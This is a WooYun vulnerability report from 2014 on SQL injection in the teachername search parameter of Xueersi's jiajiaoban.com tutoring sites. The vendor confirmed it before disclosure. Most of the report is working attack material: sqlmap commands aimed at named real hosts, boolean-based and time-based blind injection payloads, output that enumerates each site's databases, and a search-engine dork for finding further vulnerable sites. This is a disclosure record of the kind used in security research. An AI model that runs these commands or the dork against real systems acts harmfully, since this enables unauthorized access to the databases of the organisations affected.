漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-076051
漏洞标题：学而思某类型网站通用注入
相关厂商：好未来集团学而思培优
漏洞作者： 玉林嘎
提交时间：2014-09-15 12:20
修复时间：2014-10-30 12:22
公开时间：2014-10-30 12:22
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-15： 细节已通知厂商并且等待厂商处理中
2014-09-17： 厂商已经确认，细节仅向厂商公开
2014-09-27： 细节向核心白帽子及相关领域专家公开
2014-10-07： 细节向普通白帽子公开
2014-10-17： 细节向实习白帽子公开
2014-10-30： 细节向公众公开
简要描述：
只求高rank~~~
详细说明：
问题出在 http://souke.jiajiaoban.com/ 的搜索功能上
搜索注入 类似静态
http://souke.jiajiaoban.com/searchs/search/tuiguang:/kemu:/nianji:/xuequ:/teachername:1/sex:/status:
teachername存在注入 其他点未测试
inurl:searchs/search/tuiguang 搜索这个关键字则发现还有大量各地方网站均存在一样的注入
选取2例
http://souke.jiajiaoban.com/searchs/search/tuiguang:/kemu:/nianji:/xuequ:/teachername:1/sex:/status:
sqlmap:
sqlmap -u "http://souke.jiajiaoban.com/searchs/search/tuiguang:/kemu:/nianji:/xuequ:/teachername:1*/sex:/status:" --dbs
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://souke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nianji:/xuequ:/teachername:1%' AND 4229=4229 AND '%'='/sex:/status:
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://souke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nianji:/xuequ:/teachername:1%' AND SLEEP(5) AND '%'='/sex:/status:
---
[16:14:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[16:14:47] [INFO] fetching database names
[16:14:47] [INFO] fetching number of databases
[16:14:47] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:14:47] [INFO] retrieved:
[16:14:51] [WARNING] reflective value(s) found and filtering out
4
[16:14:54] [INFO] retrieved: information_schema
[16:16:56] [INFO] retrieved: mysql
[16:17:28] [INFO] retrieved: test
[16:18:00] [INFO] retrieved: zk
available databases [4]:
[*] information_schema
[*] mysql
[*] test
[*] zk
漏洞证明：
成都分站：
sqlmap -u "http://cdsouke.jiajiaoban.com/searchs/search/tuiguang:/kemu:/nianji:/xuequ:/teachername:1*" --dbs
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://cdsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nianji:/xuequ:/teachername:1%' AND 9714=9714 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://cdsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nianji:/xuequ:/teachername:1%' AND SLEEP(5) AND '%'='
---
[16:19:23] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[16:19:23] [INFO] fetching database names
[16:19:23] [INFO] fetching number of databases
[16:19:23] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:19:23] [INFO] retrieved:
[16:19:23] [WARNING] reflective value(s) found and filtering out
4
[16:19:25] [INFO] retrieved: information_schema
[16:20:08] [INFO] retrieved: mysql
[16:20:21] [INFO] retrieved: test
[16:20:33] [INFO] retrieved: zk028
available databases [4]:
[*] information_schema
[*] mysql
[*] test
[*] zk028
修复方案：
看看还有没有其他站点使用同类的
版权声明：转载请注明来源 玉林嘎@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2014-09-17 08:07
厂商回复：
rank送上，欢迎继续支持
最新状态：
暂无